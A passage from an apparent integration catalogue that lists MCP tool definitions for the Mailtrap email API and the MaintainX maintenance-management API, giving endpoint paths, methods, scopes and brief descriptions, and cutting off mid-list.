https://mailtrap.io/api/stats/domains. Get account sending stats by domains. Use filters to get specific stats. GET /api/v1/mailtrap/general/api/stats/domains. Scopes: api. mailtrap_get_api_stats_email_service_providers (read) — Get Sending Stats by Email Service Providers. GET https://mailtrap.io/api/stats/email_service_providers. Get account sending stats by email service providers. Use filters to get specific stats. GET /api/v1/mailtrap/general/api/stats/email_service_providers. Scopes: api. mailtrap_get_api_suppressions (read) — List suppressions. GET https://mailtrap.io/api/suppressions. List and search suppressed email addresses. Returns up to 1000 suppressions per request. Use last_id for cursor-based pagination through large lists. Suppressed addresses will not receive any emails from your account. Rate limit: 10 requests per minute per account. GET /api/v1/mailtrap/general/api/suppressions. Scopes: api. mailtrap_get_api_tracking_opt_outs (read) — List tracking opt-outs. GET https://mailtrap.io/api/tracking_opt_outs. List email addresses that have opted out of open and click tracking for your sending domains. Each record includes the domain it applies to. Returns up to 1000 records per request. When the response includes a non-null last_id, pass it as the last_id query parameter to fetch the next page. Rate limit: 10 requests per minute per account. GET /api/v1/mailtrap/general/api/tracking_opt_outs. Scopes: api. mailtrap_get_api_webhooks (read) — List webhooks. GET https://mailtrap.io/api/webhooks. Returns all webhooks for the account. GET /api/v1/mailtrap/general/api/webhooks. Scopes: api. mailtrap_get_api_webhooks_by_webhook_id (read) — Get a webhook. GET https://mailtrap.io/api/webhooks/{webhook_id}. Returns a single webhook by ID. GET /api/v1/mailtrap/general/api/webhooks/{webhook_id}. Scopes: api. mailtrap_patch_api_contacts_by_contact_identifier (write) — Update contact. PATCH https://mailtrap.io/api/contacts/{contact_identifier}. Update contact using UUID or email (URL encoded) PATCH /api/v1/mailtrap/general/api/contacts/{contact_identifier}. Scopes: api. mailtrap_patch_api_contacts_fields_by_field_id (write) — Update Contact Field. PATCH https://mailtrap.io/api/contacts/fields/{field_id}. Update existing Contact Field. Please note, you cannot change data_type of the field. PATCH /api/v1/mailtrap/general/api/contacts/fields/{field_id}. Scopes: api. mailtrap_patch_api_contacts_lists_by_list_id (write) — Update Contact List. PATCH https://mailtrap.io/api/contacts/lists/{list_id}. Update existing Contact List PATCH /api/v1/mailtrap/general/api/contacts/lists/{list_id}. Scopes: api. mailtrap_patch_api_domains_by_domain_id (write) — Update domain. PATCH https://mailtrap.io/api/domains/{domain_id}. Update configuration settings for a domain. PATCH /api/v1/mailtrap/general/api/domains/{domain_id}. Scopes: api. mailtrap_patch_api_domains_by_domain_id_company_info (write) — Update company info. PATCH https://mailtrap.io/api/domains/{domain_id}/company_info. Update company information for a domain / account. All fields are optional; only the fields provided in the request will be updated. PATCH /api/v1/mailtrap/general/api/domains/{domain_id}/company_info. Scopes: api. mailtrap_patch_api_email_campaigns_by_email_campaign_id (write) — Update an email campaign. PATCH https://mailtrap.io/api/email_campaigns/{email_campaign_id}. Updates an existing draft campaign. Only the provided attributes are changed. To edit the template (subject or design), pass template_attributes — the campaign's template is always edited in place, and only the template sub-fields you provide change (see the template_attributes schema for the partial-update rules). Update accepts the same fields as create, including the audience (contact_list_ids/contact_segment_ids). The typical flow is to create a draft, add its design and audience over one or more updates, then schedule or start it via the dedicated schedule/start action endpoints. Only draft campaigns can be updated — editing a campaign that is already scheduled/sending returns 422. PATCH /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}. Scopes: api. mailtrap_patch_api_email_templates_by_email_template_id (write) — Update Email Template. PATCH https://mailtrap.io/api/email_templates/{email_template_id}. Update an email template PATCH /api/v1/mailtrap/general/api/email_templates/{email_template_id}. Scopes: api. mailtrap_patch_api_inbound_folders_by_folder_id (write) — Update a folder. PATCH https://mailtrap.io/api/inbound/folders/{folder_id}. Update an inbound folder. PATCH /api/v1/mailtrap/general/api/inbound/folders/{folder_id}. Scopes: api. mailtrap_patch_api_inbound_folders_by_folder_id_inboxes_by_inbox_id (write) — Update an inbox. PATCH https://mailtrap.io/api/inbound/folders/{folder_id}/inboxes/{inbox_id}. Rename an inbox. The generated address does not change. PATCH /api/v1/mailtrap/general/api/inbound/folders/{folder_id}/inboxes/{inbox_id}. Scopes: api. mailtrap_patch_api_projects_by_project_id (write) — Update project. PATCH https://mailtrap.io/api/projects/{project_id}. Update project name. The project name is min 2 characters and max 100 characters long. PATCH /api/v1/mailtrap/general/api/projects/{project_id}. Scopes: api. mailtrap_patch_api_sandboxes_by_sandbox_id (write) — Update a sandbox. PATCH https://mailtrap.io/api/sandboxes/{sandbox_id}. Update sandbox name, sandbox email username. PATCH /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}. Scopes: api. mailtrap_patch_api_sandboxes_by_sandbox_id_all_read (write) — Mark as read. PATCH https://mailtrap.io/api/sandboxes/{sandbox_id}/all_read. Mark all messages in the sandbox as read. PATCH /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/all_read. Scopes: api. mailtrap_patch_api_sandboxes_by_sandbox_id_clean (write) — Clean sandbox. PATCH https://mailtrap.io/api/sandboxes/{sandbox_id}/clean. Delete all messages (emails) from sandbox. PATCH /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/clean. Scopes: api. mailtrap_patch_api_sandboxes_by_sandbox_id_messages_by_message_id (write) — Update message. PATCH https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}. Update message attributes (right now only the is_read attribute is available for modification). PATCH /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}. Scopes: api. mailtrap_patch_api_sandboxes_by_sandbox_id_reset_credentials (write) — Reset credentials. PATCH https://mailtrap.io/api/sandboxes/{sandbox_id}/reset_credentials. Reset SMTP credentials of the sandbox. PATCH /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/reset_credentials. Scopes: api. mailtrap_patch_api_sandboxes_by_sandbox_id_reset_email_username (write) — Reset email address. PATCH https://mailtrap.io/api/sandboxes/{sandbox_id}/reset_email_username. Reset username of email address per sandbox. PATCH /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/reset_email_username. Scopes: api. mailtrap_patch_api_sandboxes_by_sandbox_id_toggle_email_username (write) — Enable email address. PATCH https://mailtrap.io/api/sandboxes/{sandbox_id}/toggle_email_username. Turn the email address of the sandbox on/off. PATCH /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/toggle_email_username. Scopes: api. mailtrap_patch_api_webhooks_by_webhook_id (write) — Update a webhook. PATCH https://mailtrap.io/api/webhooks/{webhook_id}. Update an existing webhook. PATCH /api/v1/mailtrap/general/api/webhooks/{webhook_id}. Scopes: api. mailtrap_post_api_api_tokens (write) — Create API token. POST https://mailtrap.io/api/api_tokens. Creates a new API token for the account with the given name and resource permissions. Unless expires_at is provided, the token expires 1 year after creation. Pass "expires_at": null to create a token that never expires. expires_at must be in the future and no more than 5 years ahead; past or unparseable values are rejected with a 422 error. POST /api/v1/mailtrap/general/api/api_tokens. Scopes: api. mailtrap_post_api_api_tokens_by_id_reset (write) — Reset API token. POST https://mailtrap.io/api/api_tokens/{id}/reset. Expires the requested token and creates a new token with the same permissions. The old token stops working after a short grace period. The response includes the new token value (store it securely; it is only returned once). Unless expires_at is provided, the new token expires 1 year after the reset. Pass "expires_at": null to create a token that never expires. expires_at must be in the future and no more than 5 years ahead; past or unparseable values are rejected with a 422 error. Tokens that have already expired cannot be reset (returns a 422 error). POST /api/v1/mailtrap/general/api/api_tokens/{id}/reset. Scopes: api. mailtrap_post_api_batch (write) — Batch send emails. POST https://send.api.mailtrap.io/api/batch. DELIVERS REAL EMAIL. Send up to 500 transactional emails in a single API call. Each email can have unique recipients and content while sharing base properties. Limits: Maximum 500 messages per call Maximum 50 MB total payload size (including attachments) Note: The endpoint returns HTTP 200 even if individual messages fail. Check the responses array for individual message status. POST /api/v1/mailtrap/send/api/batch. Scopes: api. mailtrap_post_api_batch_by_sandbox_id (write) — Batch send email (including templates). POST https://sandbox.api.mailtrap.io/api/batch/{sandbox_id}. Batch send email (text, html, text&html, templates). Please note that the endpoint will return a 200-level http status, even when sending for individual messages may fail. Users of this endpoint should check the success and errors for each message in the response (the results are ordered the same as the original messages - requests). Please note that the endpoint accepts up to 500 messages per API call, and up to 50 MB payload size, including attachments. POST /api/v1/mailtrap/sandbox/api/batch/{sandbox_id}. Scopes: api. mailtrap_post_api_contacts (write) — Create a new Contact. POST https://mailtrap.io/api/contacts. Create a new contact POST /api/v1/mailtrap/general/api/contacts. Scopes: api. mailtrap_post_api_contacts_by_contact_identifier_events (write) — Create contact event. POST https://mailtrap.io/api/contacts/{contact_identifier}/events. Submit custom event for contact POST /api/v1/mailtrap/general/api/contacts/{contact_identifier}/events. Scopes: api. mailtrap_post_api_contacts_exports (write) — Create Contact Export. POST https://mailtrap.io/api/contacts/exports. Create a new Contact Export POST /api/v1/mailtrap/general/api/contacts/exports. Scopes: api. mailtrap_post_api_contacts_fields (write) — Create Contact Field. POST https://mailtrap.io/api/contacts/fields. Create new Contact Fields. Please note, you can have up to 40 fields. POST /api/v1/mailtrap/general/api/contacts/fields. Scopes: api. mailtrap_post_api_contacts_imports (write) — Import contacts. POST https://mailtrap.io/api/contacts/imports. Import contacts in bulk with support for custom fields and list management. Existing contacts with matching email addresses will be updated automatically. You can import up to 50,000 contacts per request. The import process runs asynchronously - use the returned import ID to check the status and results. POST /api/v1/mailtrap/general/api/contacts/imports. Scopes: api. mailtrap_post_api_contacts_lists (write) — Create Contact List. POST https://mailtrap.io/api/contacts/lists. Create new Contact Lists POST /api/v1/mailtrap/general/api/contacts/lists. Scopes: api. mailtrap_post_api_domains (write) — Create domain. POST https://mailtrap.io/api/domains. Create a domain for email authentication. After creation, verify the domain by adding DNS records. Process: 1. Create the domain 2. Add DNS records (SPF, DKIM, DMARC) 3. Verify the records 4. Start sending emails POST /api/v1/mailtrap/general/api/domains. Scopes: api. mailtrap_post_api_domains_by_domain_id_company_info (write) — Create company info. POST https://mailtrap.io/api/domains/{domain_id}/company_info. Create company information for a domain / account. Company info is required for domain compliance verification. POST /api/v1/mailtrap/general/api/domains/{domain_id}/company_info. Scopes: api. mailtrap_post_api_domains_by_domain_id_send_setup_instructions (write) — Send setup instructions. POST https://mailtrap.io/api/domains/{domain_id}/send_setup_instructions. Email DNS configuration instructions for the domain POST /api/v1/mailtrap/general/api/domains/{domain_id}/send_setup_instructions. Scopes: api. mailtrap_post_api_email_campaigns (write) — Create an email campaign. POST https://mailtrap.io/api/email_campaigns. Creates a new email campaign. The campaign must reference an existing sending domain via domain_id, and include a template subject within template_attributes. Create accepts the same fields as update — pick the audience with contact_list_ids/contact_segment_ids, set delivery options, and add the design via template_attributes.body_html. The campaign is always created in the draft state; scheduling and starting are separate actions (see the schedule and start endpoints). POST /api/v1/mailtrap/general/api/email_campaigns. Scopes: api. mailtrap_post_api_email_campaigns_by_email_campaign_id_cancel (write) — Cancel a scheduled email campaign. POST https://mailtrap.io/api/email_campaigns/{email_campaign_id}/cancel. Cancels a scheduled campaign, removing the pending send job and returning the campaign to the draft state. The campaign must be in the scheduled state — cancelling from any other state returns 422 ("Campaign is not scheduled"). POST /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}/cancel. Scopes: api. mailtrap_post_api_email_campaigns_by_email_campaign_id_reset (write) — Reset an email campaign to draft. POST https://mailtrap.io/api/email_campaigns/{email_campaign_id}/reset. Resets a campaign back to the draft state. Allowed only from the scheduled state; resetting from any other state (e.g. a sending or terminal state) returns 422. POST /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}/reset. Scopes: api. mailtrap_post_api_email_campaigns_by_email_campaign_id_schedule (write) — Schedule an email campaign. POST https://mailtrap.io/api/email_campaigns/{email_campaign_id}/schedule. Schedules a draft campaign to start sending at a future time. Runs full sending validation (the template must have a body_html design, the audience and verified sending domain must be set, billing within limits); on failure the request returns 422 and the campaign stays a draft. The campaign must be in the draft state — scheduling from any other state returns 422. After scheduling, the time is reported back in current_state_metadata.scheduled_at. POST /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}/schedule. Scopes: api. mailtrap_post_api_email_campaigns_by_email_campaign_id_start (write) — Start an email campaign. POST https://mailtrap.io/api/email_campaigns/{email_campaign_id}/start. Starts sending a draft campaign immediately. Runs full sending validation (the template must have a body_html design, the audience and verified sending domain must be set, billing within limits); on failure the request returns 422 and the campaign stays a draft. The campaign must be in the draft state — starting from any other state returns 422. POST /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}/start. Scopes: api. mailtrap_post_api_email_campaigns_by_email_campaign_id_terminate (write) — Terminate a sending email campaign. POST https://mailtrap.io/api/email_campaigns/{email_campaign_id}/terminate. Terminates a campaign that is currently sending, aborting the in-flight send. The campaign must be in a sending state (started, queued, or paused) — terminating from any other state returns 422. POST /api/v1/mailtrap/general/api/email_campaigns/{email_campaign_id}/terminate. Scopes: api. mailtrap_post_api_email_templates (write) — Create Email Template. POST https://mailtrap.io/api/email_templates. Create a new email template POST /api/v1/mailtrap/general/api/email_templates. Scopes: api. mailtrap_post_api_inbound_folders (write) — Create a folder. POST https://mailtrap.io/api/inbound/folders. Create a new inbound folder. POST /api/v1/mailtrap/general/api/inbound/folders. Scopes: api. mailtrap_post_api_inbound_folders_by_folder_id_inboxes (write) — Create an inbox. POST https://mailtrap.io/api/inbound/folders/{folder_id}/inboxes. Create a new inbox in a folder. By default Mailtrap generates the inbox address automatically based on the name. To create a catch-all inbox on your own domain, pass domain_id — the ID of a verified custom sending domain with inbound enabled. The inbox then receives mail sent to any address on that domain, and its address is returned as *@your-domain.com. POST /api/v1/mailtrap/general/api/inbound/folders/{folder_id}/inboxes. Scopes: api. mailtrap_post_api_inbound_inboxes_by_inbox_id_messages_by_id_forward (write) — Forward a message. POST https://mailtrap.io/api/inbound/inboxes/{inbox_id}/messages/{id}/forward. Forward an inbound message to new recipients. The subject is prefixed with Fwd: (unless it already starts with one). The original message is always carried along: its rendered body is quoted below your optional note and its attachments are re-attached (any attachments you supply are added on top). A forward has no implicit recipient — you must address it with to (and optionally cc/bcc). The from rules match those of the Reply operation: rejected for Mailtrap-hosted inboxes, required-and-domain-bound for custom-domain inboxes. POST /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/messages/{id}/forward. Scopes: api. mailtrap_post_api_inbound_inboxes_by_inbox_id_messages_by_id_reply (write) — Reply to a message. POST https://mailtrap.io/api/inbound/inboxes/{inbox_id}/messages/{id}/reply. Send a reply to an inbound message. The reply is threaded to the original and its subject is prefixed with Re: (unless it already starts with one). By default the reply is addressed to the original sender (its Reply-To, or From when absent). Pass to to override the recipients — an explicit empty array sends to cc/bcc only — or add cc/bcc. The sender depends on the inbox type: Mailtrap-hosted inbox — always sends from the inbox's own generated address. Supplying from is rejected with 400. Custom-domain inbox — you supply from, whose address must belong to the inbox's domain. POST /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/messages/{id}/reply. Scopes: api. mailtrap_post_api_inbound_inboxes_by_inbox_id_messages_by_id_reply_all (write) — Reply all to a message. POST https://mailtrap.io/api/inbound/inboxes/{inbox_id}/messages/{id}/reply_all. Send a reply to an inbound message and copy the original's other recipients. Behaves exactly like the Reply to a message operation, except cc defaults to the original's To + Cc — minus the inbox's own addresses and the sender (already in To). Pass to, cc, or bcc to override the computed recipients. As with a plain reply, the subject is prefixed with Re. POST /api/v1/mailtrap/general/api/inbound/inboxes/{inbox_id}/messages/{id}/reply_all. Scopes: api. mailtrap_post_api_organizations_by_organization_id_sub_accounts (write) — Create organization sub account. POST https://mailtrap.io/api/organizations/{organization_id}/sub_accounts. Create a new sub account under the specified organization. You must have sub account management permissions for this organization. POST /api/v1/mailtrap/general/api/organizations/{organization_id}/sub_accounts. Scopes: api. mailtrap_post_api_projects (write) — Create project. POST https://mailtrap.io/api/projects. The project name is min 2 characters and max 100 characters long. POST /api/v1/mailtrap/general/api/projects. Scopes: api. mailtrap_post_api_projects_by_project_id_sandboxes (write) — Create a sandbox. POST https://mailtrap.io/api/projects/{project_id}/sandboxes. Create a sandbox in a project. POST /api/v1/mailtrap/general/api/projects/{project_id}/sandboxes. Scopes: api. mailtrap_post_api_sandboxes_by_sandbox_id_messages_by_message_id_forward (write) — Forward message. POST https://mailtrap.io/api/sandboxes/{sandbox_id}/messages/{message_id}/forward. Forward message to an email address. The email address must be confirmed by the recipient in advance. POST /api/v1/mailtrap/general/api/sandboxes/{sandbox_id}/messages/{message_id}/forward. Scopes: api. mailtrap_post_api_send (write) — Send transactional email. POST https://send.api.mailtrap.io/api/send. DELIVERS REAL EMAIL. Send a single transactional email with text, HTML, or template content. Use this endpoint for: Order confirmations Password reset emails Account notifications Welcome emails System alerts POST /api/v1/mailtrap/send/api/send. Scopes: api. mailtrap_post_api_send_by_sandbox_id (write) — Send email (including templates). POST https://sandbox.api.mailtrap.io/api/send/{sandbox_id}. Send email message to the specified sandbox. POST /api/v1/mailtrap/sandbox/api/send/{sandbox_id}. Scopes: api. mailtrap_post_api_suppressions (write) — Create suppression. POST https://mailtrap.io/api/suppressions. Add an email address to the suppression list. Suppressed addresses will not receive any emails from your account. This endpoint requires admin-level access. Rate limit: 10 requests per minute per account. POST /api/v1/mailtrap/general/api/suppressions. Scopes: api. mailtrap_post_api_tracking_opt_outs (write) — Create tracking opt-out. POST https://mailtrap.io/api/tracking_opt_outs. Add an email address to the tracking opt-out list for a sending domain. Opted-out addresses are excluded from open and click tracking on that domain. This endpoint requires admin-level access. Rate limit: 10 requests per minute per account. POST /api/v1/mailtrap/general/api/tracking_opt_outs. Scopes: api. mailtrap_post_api_webhooks (write) — Create a webhook. POST https://mailtrap.io/api/webhooks. Create a new webhook for the account. The response includes a signing_secret that is used to verify webhook signatures. POST /api/v1/mailtrap/general/api/webhooks. Scopes: api. mailtrap_put_api_account_accesses_by_account_access_id_permissions_bulk (write) — Manage user or token permissions. PUT https://mailtrap.io/api/account_accesses/{account_access_id}/permissions/bulk. Manage user or token permissions. For this endpoint, you should send an array of objects (in JSON format) as the body of the request. If you send a combination of resource_type and resource_id that already exists, the permission is updated. If the combination doesn't exist, the permission is created. Permissions of an expired API token cannot be updated; such requests are rejected with a 422 error. PUT /api/v1/mailtrap/general/api/account_accesses/{account_access_id}/permissions/bulk. Scopes: api. ================================================================================ ## MaintainX URL: https://www.agenticfabriq.com/integrations/maintainx Section: Integrated Tools MaintainX — 164 MCP tools Provider key: maintainx. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. maintainx_delete_assetcustomstatuses_by_id (write, destructive) — Delete asset custom status via DELETE /assetcustomstatuses/{id} DELETE /api/v1/maintainx/assetcustomstatuses/{id}. Scopes: api. maintainx_delete_assets_by_id (write, destructive) — Delete asset via DELETE /assets/{id} DELETE /api/v1/maintainx/assets/{id}. Scopes: api. maintainx_delete_assets_by_id_attachments_by_filename (write, destructive) — Remove asset attachment via DELETE /assets/{id}/attachments/{filename} DELETE /api/v1/maintainx/assets/{id}/attachments/{filename}. Scopes: api. maintainx_delete_assets_external_by_externalid (write, destructive) — Delete asset by external ID via DELETE /assets/external/{externalId} DELETE /api/v1/maintainx/assets/external/{externalId}. Scopes: api. maintainx_delete_categories_by_id (write, destructive) — Delete category via DELETE /categories/{id} DELETE /api/v1/maintainx/categories/{id}. Scopes: api. maintainx_delete_customfields_by_entity_by_id (write, destructive) — Delete custom field via DELETE /customfields/{entity}/{id} DELETE /api/v1/maintainx/customfields/{entity}/{id}. Scopes: api. maintainx_delete_locations_by_id (write, destructive) — Delete location via DELETE /locations/{id} DELETE /api/v1/maintainx/locations/{id}. Scopes: api. maintainx_delete_locations_by_id_attachments_by_filename (write, destructive) — Remove location attachment via DELETE /locations/{id}/attachments/{filename} DELETE /api/v1/maintainx/locations/{id}/attachments/{filename}. Scopes: api. maintainx_delete_locations_external_by_externalid (write, destructive) — Delete location by external ID via DELETE /locations/external/{externalId} DELETE /api/v1/maintainx/locations/external/{externalId}. Scopes: api. maintainx_delete_maintenanceplans_by_id (write, destructive) — Delete maintenance plan via DELETE /maintenanceplans/{id} DELETE /api/v1/maintainx/maintenanceplans/{id}. Scopes: api. maintainx_delete_meters_by_id (write, destructive) — Delete meter via DELETE /meters/{id} DELETE /api/v1/maintainx/meters/{id}. Scopes: api. maintainx_delete_metertriggers_by_id (write, destructive) — Delete meterTrigger via DELETE /metertriggers/{id} DELETE /api/v1/maintainx/metertriggers/{id}. Scopes: api. maintainx_delete_metertriggers_by_id_workordertemplates_attachments_by_filename (write, destructive) — Remove meter trigger's work order template attachment via DELETE /metertriggers/{id}/workordertemplates/attachments/{filename} DELETE /api/v1/maintainx/metertriggers/{id}/workordertemplates/attachments/{filename}. Scopes: api. maintainx_delete_parts_by_id (write, destructive) — Delete part via DELETE /parts/{id} DELETE /api/v1/maintainx/parts/{id}. Scopes: api. maintainx_delete_parts_by_id_attachments_by_filename (write, destructive) — Remove part attachment via DELETE /parts/{id}/attachments/{filename} DELETE /api/v1/maintainx/parts/{id}/attachments/{filename}. Scopes: api. maintainx_delete_parts_external_by_externalid (write, destructive) — Delete part by external ID via DELETE /parts/external/{externalId} DELETE /api/v1/maintainx/parts/external/{externalId}. Scopes: api. maintainx_delete_proceduretemplaterows_by_id (write, destructive) — Delete procedure Template Row via DELETE /proceduretemplaterows/{id} DELETE /api/v1/maintainx/proceduretemplaterows/{id}. Scopes: api. maintainx_delete_proceduretemplaterows_by_id_attachments (write, destructive) — Remove procedure template row attachment via DELETE /proceduretemplaterows/{id}/attachments DELETE /api/v1/maintainx/proceduretemplaterows/{id}/attachments. Scopes: api. maintainx_delete_proceduretemplates_by_id (write, destructive) — Delete procedure Template via DELETE /proceduretemplates/{id} DELETE /api/v1/maintainx/proceduretemplates/{id}. Scopes: api. maintainx_delete_purchaseorders_by_id (write, destructive) — Delete purchaseOrder via DELETE /purchaseorders/{id} DELETE /api/v1/maintainx/purchaseorders/{id}. Scopes: api. maintainx_delete_purchaseorders_by_id_attachments_by_filename (write, destructive) — Remove purchase order attachment via DELETE /purchaseorders/{id}/attachments/{filename} DELETE /api/v1/maintainx/purchaseorders/{id}/attachments/{filename}. Scopes: api. maintainx_delete_subscriptions_by_id (write, destructive) — Remove subscription via DELETE /subscriptions/{id} DELETE /api/v1/maintainx/subscriptions/{id}. Scopes: api. maintainx_delete_teams_by_id (write, destructive) — Delete team via DELETE /teams/{id} DELETE /api/v1/maintainx/teams/{id}. Scopes: api. maintainx_delete_teams_by_teamid_members_by_userid (write, destructive) — Remove user from team via DELETE /teams/{teamId}/members/{userId} DELETE /api/v1/maintainx/teams/{teamId}/members/{userId}. Scopes: api. maintainx_delete_users_by_id (write, destructive) — Remove user from organization via DELETE /users/{id} DELETE /api/v1/maintainx/users/{id}. Scopes: api. maintainx_delete_vendors_by_id (write, destructive) — Delete vendor via DELETE /vendors/{id} DELETE /api/v1/maintainx/vendors/{id}. Scopes: api. maintainx_delete_vendors_by_id_attachments_by_filename (write, destructive) — Remove vendor attachment via DELETE /vendors/{id}/attachments/{filename} DELETE /api/v1/maintainx/vendors/{id}/attachments/{filename}. Scopes: api. maintainx_delete_vendors_by_id_contacts_by_contactid (write, destructive) — Delete contact via DELETE /vendors/{id}/contacts/{contactId} DELETE /api/v1/maintainx/vendors/{id}/contacts/{contactId}. Scopes: api. maintainx_delete_workorders_by_id (write, destructive) — Delete workOrder via DELETE /workorders/{id} DELETE /api/v1/maintainx/workorders/{id}. Scopes: api. maintainx_delete_workorders_by_id_attachments_by_filename (write, destructive) — Remove work order attachment via DELETE /workorders/{id}/attachments/{filename} DELETE /api/v1/maintainx/workorders/{id}/attachments/{filename}. Scopes: api. maintainx_delete_workorders_by_id_procedure (write, destructive) — Detach procedure from work order via DELETE /workorders/{id}/procedure DELETE /api/v1/maintainx/workorders/{id}/procedure. Scopes: api. maintainx_delete_workorders_by_id_procedure_fields_by_index_attachment (write, destructive) — Delete procedure field attachment via DELETE /workorders/{id}/procedure/fields/{index}/attachment DELETE /api/v1/maintainx/workorders/{id}/procedure/fields/{index}/attachment. Scopes: api. maintainx_delete_workorders_external_by_externalid (write, destructive) — Delete work order by external ID via DELETE /workorders/external/{externalId} DELETE /api/v1/maintainx/workorders/external/{externalId}. Scopes: api. maintainx_delete_workrequestportals_by_id (write, destructive) — Delete work request portal via DELETE /workrequestportals/{id} DELETE /api/v1/maintainx/workrequestportals/{id}. Scopes: api. maintainx_delete_workrequests_by_id (write, destructive) — Delete workRequest via DELETE /workrequests/{id} DELETE /api/v1/maintainx/workrequests/{id}. Scopes: api. maintainx_delete_workrequests_by_id_attachments_by_filename (write, destructive) — Remove work request attachment via DELETE /workrequests/{id}/attachments/{filename} DELETE /api/v1/maintainx/workrequests/{id}/attachments/{filename}. Scopes: api. maintainx_get_assetcriticalities (read) — Endpoint used to list asset criticality resources via GET /assetcriticalities GET /api/v1/maintainx/assetcriticalities. Scopes: api. maintainx_get_assetcriticalities_by_id (read) — Get asset criticality via GET /assetcriticalities/{id} GET /api/v1/maintainx/assetcriticalities/{id}. Scopes: api. maintainx_get_assetcustomstatuses (read) — Endpoint used to list asset custom status resources via GET /assetcustomstatuses GET /api/v1/maintainx/assetcustomstatuses. Scopes: api. maintainx_get_assetcustomstatuses_by_id (read) — Get asset custom status via GET /assetcustomstatuses/{id} GET /api/v1/maintainx/assetcustomstatuses/{id}. Scopes: api. maintainx_get_assets (read) — Endpoint used to list asset resources via GET /assets GET /api/v1/maintainx/assets. Scopes: api. maintainx_get_assets_by_id (read) — Get asset via GET /assets/{id} GET /api/v1/maintainx/assets/{id}. Scopes: api. maintainx_get_assets_external_by_externalid (read) — Get asset by external ID via GET /assets/external/{externalId} GET /api/v1/maintainx/assets/external/{externalId}. Scopes: api. maintainx_get_assetstatuses (read) — Endpoint used to list assetStatuses resources via GET /assetstatuses GET /api/v1/maintainx/assetstatuses. Scopes: api. maintainx_get_categories (read) — Endpoint used to list category resources via GET /categories GET /api/v1/maintainx/categories. Scopes: api. maintainx_get_categories_by_id (read) — Get category via GET /categories/{id} GET /api/v1/maintainx/categories/{id}. Scopes: api. maintainx_get_conversations (read) — Endpoint used to list conversation resources via GET /conversations GET /api/v1/maintainx/conversations. Scopes: api. maintainx_get_conversations_by_id_members (read) — List conversation members via GET /conversations/{id}/members GET /api/v1/maintainx/conversations/{id}/members. Scopes: api. maintainx_get_customfields_by_entity (read) — List custom fields via GET /customfields/{entity} GET /api/v1/maintainx/customfields/{entity}. Scopes: api. maintainx_get_locations (read) — Endpoint used to list location resources via GET /locations GET /api/v1/maintainx/locations. Scopes: api. maintainx_get_locations_by_id (read) — Get location via GET /locations/{id} GET /api/v1/maintainx/locations/{id}. Scopes: api. maintainx_get_locations_external_by_externalid (read) — Get location by external ID via GET /locations/external/{externalId} GET /api/v1/maintainx/locations/external/{externalId}. Scopes: api. maintainx_get_maintenanceplans (read) — Endpoint used to list maintenance plan resources via GET /maintenanceplans GET /api/v1/maintainx/maintenanceplans. Scopes: api. maintainx_get_maintenanceplans_by_id (read) — Get maintenance plan via GET /maintenanceplans/{id} GET /api/v1/maintainx/maintenanceplans/{id}. Scopes: api. maintainx_get_manufacturers (read) — Endpoint used to list manufacturer resources via GET /manufacturers GET /api/v1/maintainx/manufacturers. Scopes: api. maintainx_get_manufacturers_by_id (read) — Get manufacturer via GET /manufacturers/{id} GET /api/v1/maintainx/manufacturers/{id}. Scopes: api. maintainx_get_meters (read) — Endpoint used to list meter resources via GET /meters GET /api/v1/maintainx/meters. Scopes: api. maintainx_get_meters_by_id (read) — Get meter via GET /meters/{id} GET /api/v1/maintainx/meters/{id}. Scopes: api. maintainx_get_metertriggers (read) — Endpoint used to list meter trigger resources via GET /metertriggers GET /api/v1/maintainx/metertriggers. Scopes: api. maintainx_get_metertriggers_by_id (read) — Get meter trigger via GET /metertriggers/{id} GET /api/v1/maintainx/metertriggers/{id}. Scopes: api. maintainx_get_models (read) — Endpoint used to list model resources via GET /models GET /api/v1/maintainx/models. Scopes: api. maintainx_get_models_by_id (read) — Get model via GET /models/{id} GET /api/v1/maintainx/models/{id}. Scopes: api. maintainx_get_organizations (read) — Endpoint used to list organization resources via GET /organizations GET /api/v1/maintainx/organizations. Scopes: api. maintainx_get_parts (read) — Endpoint used to list part resources via GET /parts GET /api/v1/maintainx/parts. Scopes: api. maintainx_get_parts_by_id (read) — Get part via GET /parts/{id} GET /api/v1/maintainx/parts/{id}. Scopes: api. maintainx_get_parts_external_by_externalid (read) — Get part by external ID via GET /parts/external/{externalId} GET /api/v1/maintainx/parts/external/{externalId}. Scopes: api. maintainx_get_parttransferrequests (read) — Endpoint used to list part transfer request resources via GET /parttransferrequests GET /api/v1/maintainx/parttransferrequests. Scopes: api. maintainx_get_parttransferrequests_by_id (read) — Get part transfer request via GET /parttransferrequests/{id} GET /api/v1/maintainx/parttransferrequests/{id}. Scopes: api. maintainx_get_proceduretemplates (read) — Endpoint used to list procedure template resources via GET /proceduretemplates GET /api/v1/maintainx/proceduretemplates. Scopes: api. maintainx_get_proceduretemplates_by_id (read) — Get procedure template via GET /proceduretemplates/{id} GET /api/v1/maintainx/proceduretemplates/{id}. Scopes: api. maintainx_get_purchaseorders (read) — Endpoint used to list purchase order resources via GET /purchaseorders GET /api/v1/maintainx/purchaseorders. Scopes: api. maintainx_get_purchaseorders_by_id (read) — Get purchase order via GET /purchaseorders/{id} GET /api/v1/maintainx/purchaseorders/{id}. Scopes: api. maintainx_get_rootcauseanalysisreports (read) — Endpoint used to list root cause analysis report 